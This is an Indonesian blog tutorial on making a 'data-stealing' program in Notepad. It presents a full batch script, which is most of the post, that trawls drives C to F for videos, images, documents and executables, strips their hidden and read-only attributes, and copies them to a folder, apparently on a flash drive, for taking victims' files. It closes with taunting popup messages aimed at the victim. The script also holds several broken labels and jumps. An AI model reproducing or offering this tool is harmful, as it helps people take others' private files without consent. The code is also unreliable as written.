Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit
3. Kalau Sudah save filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh : Curidataorang.bat
Gampang cara kerjanya gan :
1. Kan entar kalok sudah dibuka aplikasinya. Entar sobat disuruh milih menu option yang ada di aplikasi itu.
2. Kalo sudah milih entar akan langsung otomatis di copy ke Flash Disk sobat.
Nah segitu yng bsa ane jelasinnya terimakasih dah berkunjung dan berkomentar yha....
Salam Blogger.....
